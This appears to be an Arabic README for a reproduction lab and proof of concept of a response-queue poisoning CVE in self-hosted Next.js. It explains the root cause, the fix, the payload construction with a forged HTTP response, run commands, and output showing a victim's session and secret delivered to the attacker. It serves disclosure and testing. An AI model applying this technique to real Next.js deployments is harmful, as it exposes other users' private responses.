
مختبر مزدوج عبر Docker ونموذج إثبات مفهوم تفاضلي مستقل لـ CVE-2026-119348، وهو خلل تسميم طابور استجابات ناتج عن تأطير مضغوط قديم في Next.js المستضاف ذاتيًا.
GHSA: GHSA-pc58-hwjq-p385
CVSS 4.0: 6.3 (متوسط) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N
المنتج: Vercel Next.js (next)، مستضاف ذاتيًا (next start)
يحتوي هذا المستودع على إعادة إنتاج كاملة وحتمية (مختبر docker + استغلال مستقل) لثغرة حقن الاستجابات عبر العملاء والكشف عنها التي تم إصلاحها في إصدار Next.js الأمني لشهر نوفمبر 2026. لم يكن هناك أي PoC عام موجود وقت بناء هذا المختبر (تم التحقق في 2026-11-20: البحث في مستودعات/أكواد GitHub عن معرّفي CVE وGHSA → 0 نتيجة).
تقوم دالة fetch في Node (undici) بفك ضغط جسم content-encoding: gzip بشفافية لكنها
تحتفظ بترويسات الاستجابة الأصلية، بما في ذلك content-length: <compressed-size>.
عندما يُرجع تطبيق Next.js المستضاف ذاتيًا استجابة Response علوية تم جلبها بهذه الطريقة
دون تغيير — من معالج مسار في App Router، أو من إدخال ذاكرة التخزين المؤقت للجلب، أو من
برمجية وسيطة في بيئة تشغيل Node — فإن الإصدارات المصابة من Next تمرر التأطير المضغوط القديم
إلى العميل أثناء بث الجسم الأطول، المفكوك الضغط:
HTTP/1.1 200 OK
content-encoding: gzip ← forwarded
content-length: 70 ← framing of the COMPRESSED body (stale)
← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
└─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘
يكتب Node.js بايتات الجسم بما يتجاوز Content-Length المعلن دون أي خطأ ويُبقي
اتصال keep-alive مفتوحًا. أي وكيل عكسي HTTP/1.1 يضع الطلبات المتدفقة (pipelined) في طابور
على اتصال خلفي مشترك (الشرط المسبق المذكور في التنبيه — مثل HAProxy
http-reuse always، ومختلف الوكلاء القائمة على Node.js) يفصل استجابات الخلفية بصرامة
وفقًا للتأطير المعلن. لذلك تُفسَّر بايتات الفائض على أنها الاستجابة التالية في
الطابور:
| الفرع | المتأثر | المُرقَّع |
|---|---|---|
| 16.x (Active LTS) | >= 16.0.0, <= 16.4.4 | 16.4.5 |
| 15.x (Maintenance LTS) | <= 15.5.28 | 15.5.29 |
في vercel/next.js عند الوسم v16.4.4:
packages/next/src/server/send-response.ts:24-70 — تُضيف sendResponse() كل
ترويسة من Response الخاص بالمعالج (يُتخطى فقط x-middleware-set-cookie) ثم
تنقل الجسم بعد فك ترميزه. تصف الترويسات المُمرَّرة content-length / content-encoding /
transfer-encoding الجسم المُرمَّز الذي فكّ undici ترميزه بالفعل.packages/next/src/server/next-server.ts:2009-2012 — تتخطى حلقة استجابة الوسيط
content-encoding فقط، ولا تزال تنسخ content-length /
transfer-encoding القديمين.packages/next/src/server/web/sandbox/sandbox.ts:23)
كان قد حذف تلك الترويسات الثلاث بالفعل — كانت الثغرة في مسارات Node-runtime.الإصلاح (v16.4.5، الالتزام
2842833،
15.x: 848ec29):
يتخلى كلا مساري التمرير الآن عن content-length وcontent-encoding وtransfer-encoding
(FORBIDDEN_HEADERS)، بحيث يؤطّر Node.js الجسم المفكوك الترميز بشكل صحيح باستخدام
transfer-encoding: chunked.
next start) — غير متأثر على منصة Vercel.Response مجلوبًا متأثرًا بالمهاجم دون تغيير (أي
نمط تمرير/ترحيل: return fetch(url))، مباشرةً أو عبر ذاكرة التخزين المؤقت للجلب.لا مصادقة، ولا تفاعل من المستخدم.
lab/
├── app/ # the victim Next.js app (source shared by both stacks)
│ └── app/
│ ├── proxy/route.ts # GET /proxy?u=<url> → return fetch(u, {cache:'no-store'})
│ ├── proxy-cached/route.ts # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│ ├── api/secret/route.ts # victim's private JSON (user alice + VICTIM_SECRET…)
│ └── page.tsx # home page (HOME-PAGE-MARKER)
├── upstream/server.py # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml # project cvelab_cve-2026-119348_vuln → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/ # node-level experiments backing the analysis
الحمولة الخبيثة في المنبع (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected"
مع اختيار n بحيث يكون n == len(gzip(P)) (نقطة ثابتة، n = 70 هنا، المفكوك = 116 بايت).
وبالتالي يُصدر التطبيق استجابةً يغطي فيها Content-Length: 70 المعلن عنه البادئة A
فقط، بينما تشكّل البايتات الـ 46 اللاحقة استجابة HTTP مزوّرة مكتملة البنية.
# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh
# 2. run the exploit against both
python3 poc.py \
--url http://127.0.0.1:8080 \ # proxy → VULNERABLE app (16.4.4)
--fixed-url http://127.0.0.1:8081 \ # proxy → PATCHED app (16.4.5)
--upstream http://127.0.0.1:9099 \ # attacker origin (host-mapped port of lab/upstream)
--next-url http://127.0.0.1:3000 \ # optional: direct app framing probe
--next-fixed-url http://127.0.0.1:3001 \
--out poc_result.json
# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.
# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy
poc.py قائم بذاته (Python 3، المكتبة القياسية فقط). تُدرج كل جولة ثلاثة طلبات
على اتصال الخادم الخلفي المشترك:
#1 attacker GET /proxy?u=…/gzip?delay=0.4 ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim GET /api/secret (Cookie: session=victim-alice-7f3a9c)
#3 attacker GET / ← collects the displaced response
[vuln] mode=proxy injection=True disclosure=True victim_got_own=False attacker_got_home=False
victim response : HTTP/1.1 200 OK | body: injected
attacker follow-up : HTTP/1.1 200 OK | body: { "user": "alice", "session": "session=victim-alice-7f3a9c",
"secret": "VICTIM_SECRET-sk-live-9f8e7d6c5b4a3210", …
[vuln] mode=proxy-cached injection=True disclosure=True … ← same via the fetch cache
[fixed] mode=proxy injection=False disclosure=False victim_got_own=True attacker_got_home=True
[fixed] mode=proxy-cached injection=False disclosure=False …
RESULT: exploit_worked_on_vuln = True | exploit_failed_on_fixed = True
التأطير الخام الذي التقطه المسبار (مباشرةً ضد التطبيقات، دون وسيط):
| التطبيق | الترويسات | الجسم على الشبكة |
|---|---|---|
| [email protected] | content-encoding: gzip، content-length: 70 | 116 بايتًا خامًا → تجاوز سعة 46 بايتًا يحتوي على الاستجابة المزوّرة |
| [email protected] | (لا هذا ولا ذاك)، transfer-encoding: chunked | مُجزّأ، بالضبط 116 بايتًا مفكوكة الترميز |